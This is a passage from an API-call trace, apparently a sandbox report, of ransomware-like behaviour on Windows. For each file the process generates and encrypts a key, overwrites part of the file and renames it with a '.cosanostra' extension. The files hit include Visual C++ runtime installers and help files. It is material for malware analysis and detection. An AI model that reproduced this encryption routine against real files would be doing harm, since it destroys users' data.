pbBuffer=0x2abf348) returned 1 [0093.215] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf340*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf340*=0x30) returned 1 [0093.215] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0093.257] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned 148 [0093.257] StrStrW (lpFirst="vc_runtimeAdditional_x86.msi", lpSrch=".txt") returned 0x0 [0093.260] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.260] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf304, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf304*=0x2800, lpOverlapped=0x0) returned 1 [0093.260] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.260] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf344*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf304, lpOverlapped=0x0 | out: lpBuffer=0x2abf344*, lpNumberOfBytesWritten=0x2abf304*=0x4, lpOverlapped=0x0) returned 1 [0093.260] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf304, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf304*=0x30, lpOverlapped=0x0) returned 1 [0093.260] CloseHandle (hObject=0x15c) returned 1 [0093.261] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.cosanostra") returned 159 [0093.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.cosanostra")) returned 1 [0093.305] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf338 | out: pbBuffer=0x2abf338) returned 1 [0093.305] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf330*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf330*=0x30) returned 1 [0093.305] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0093.305] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 150 [0093.305] StrStrW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch=".txt") returned 0x0 [0093.418] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.418] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf2f4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abf2f4*=0x2800, lpOverlapped=0x0) returned 1 [0093.451] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.451] WriteFile (in: hFile=0x15c, lpBuffer=0x2abf334*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf334*, lpNumberOfBytesWritten=0x2abf2f4*=0x4, lpOverlapped=0x0) returned 1 [0093.451] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2f4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2f4*=0x30, lpOverlapped=0x0) returned 1 [0093.451] CloseHandle (hObject=0x15c) returned 1 [0093.451] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.cosanostra") returned 161 [0093.452] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.cosanostra")) returned 1 [0093.904] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf328 | out: pbBuffer=0x2abf328) returned 1 [0093.904] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf320*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf320*=0x30) returned 1 [0093.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.905] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 145 [0093.905] StrStrW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch=".txt") returned 0x0 [0093.962] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.962] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf2e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2e4*=0x2800, lpOverlapped=0x0) returned 1 [0093.963] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.963] WriteFile (in: hFile=0x180, lpBuffer=0x2abf324*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2e4, lpOverlapped=0x0 | out: lpBuffer=0x2abf324*, lpNumberOfBytesWritten=0x2abf2e4*=0x4, lpOverlapped=0x0) returned 1 [0093.963] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2e4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2e4*=0x30, lpOverlapped=0x0) returned 1 [0093.963] CloseHandle (hObject=0x180) returned 1 [0094.025] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.cosanostra") returned 156 [0094.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.cosanostra")) returned 1 [0094.030] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf318 | out: pbBuffer=0x2abf318) returned 1 [0094.030] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf310*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf310*=0x30) returned 1 [0094.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.030] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 143 [0094.030] StrStrW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch=".txt") returned 0x0 [0094.131] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.132] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf2d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2d4*=0x2800, lpOverlapped=0x0) returned 1 [0094.132] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.132] WriteFile (in: hFile=0x180, lpBuffer=0x2abf314*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf314*, lpNumberOfBytesWritten=0x2abf2d4*=0x4, lpOverlapped=0x0) returned 1 [0094.132] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2d4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2d4*=0x30, lpOverlapped=0x0) returned 1 [0094.132] CloseHandle (hObject=0x180) returned 1 [0094.132] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.cosanostra") returned 154 [0094.132] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.cosanostra")) returned 1 [0094.133] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf318 | out: pbBuffer=0x2abf318) returned 1 [0094.134] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf310*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf310*=0x30) returned 1 [0094.134] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.134] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 126 [0094.134] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0094.224] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.224] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf2d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2d4*=0x2800, lpOverlapped=0x0) returned 1 [0094.225] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.225] WriteFile (in: hFile=0x180, lpBuffer=0x2abf314*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf314*, lpNumberOfBytesWritten=0x2abf2d4*=0x4, lpOverlapped=0x0) returned 1 [0094.326] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2d4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2d4*=0x30, lpOverlapped=0x0) returned 1 [0094.326] CloseHandle (hObject=0x180) returned 1 [0094.326] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.cosanostra") returned 137 [0094.326] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.cosanostra")) returned 1 [0094.330] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf310 | out: pbBuffer=0x2abf310) returned 1 [0094.330] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf308*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf308*=0x30) returned 1 [0094.330] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.330] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe") returned 92 [0094.330] StrStrW (lpFirst="vcredist_x64.exe", lpSrch=".txt") returned 0x0 [0094.427] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.427] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf2cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abf2cc*=0x2800, lpOverlapped=0x0) returned 1 [0094.427] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.427] WriteFile (in: hFile=0x180, lpBuffer=0x2abf30c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf30c*, lpNumberOfBytesWritten=0x2abf2cc*=0x4, lpOverlapped=0x0) returned 1 [0094.592] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2cc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2cc*=0x30, lpOverlapped=0x0) returned 1 [0094.592] CloseHandle (hObject=0x180) returned 1 [0094.621] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.cosanostra") returned 103 [0094.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.cosanostra")) returned 1 [0094.628] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf300 | out: pbBuffer=0x2abf300) returned 1 [0094.629] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2f8*=0x30) returned 1 [0094.629] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.796] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 150 [0094.796] StrStrW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch=".txt") returned 0x0 [0094.901] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.902] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf2bc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abf2bc*=0x2800, lpOverlapped=0x0) returned 1 [0094.902] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.902] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf2fc*, lpNumberOfBytesWritten=0x2abf2bc*=0x4, lpOverlapped=0x0) returned 1 [0094.909] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2bc*=0x30, lpOverlapped=0x0) returned 1 [0094.909] CloseHandle (hObject=0x180) returned 1 [0094.983] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.cosanostra") returned 161 [0094.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.cosanostra" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.cosanostra")) returned 1 [0094.984] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2f8 | out: pbBuffer=0x2abf2f8) returned 1 [0094.985] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf2f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf2f0*=0x30) returned 1 [0094.985] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0094.985] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned 64 [0094.985] StrStrW (lpFirst="MS.WINWORD.DEV.14.1033.hxn", lpSrch=".txt") returned 0x0 [0094.986] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.986] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x2abf2b4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abf2b4*=0x16a, lpOverlapped=0x0) returned 1 [0094.986] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.986] WriteFile (in: hFile=0x180, lpBuffer=0x2abf2f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf2b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf2f4*, lpNumberOfBytesWritten=0x2abf2b4*=0x4, lpOverlapped=0x0) returned 1 [0094.986] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf2b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abf2b4*=0x30, lpOverlapped=0x0) returned 1 [0094.986] CloseHandle (hObject=0x180) returned 1 [0094.986] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.cosanostra") returned 75 [0094.986] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.cosanostra" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn.cosanostra")) returned 1 [0094.987] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf2f8 | out: 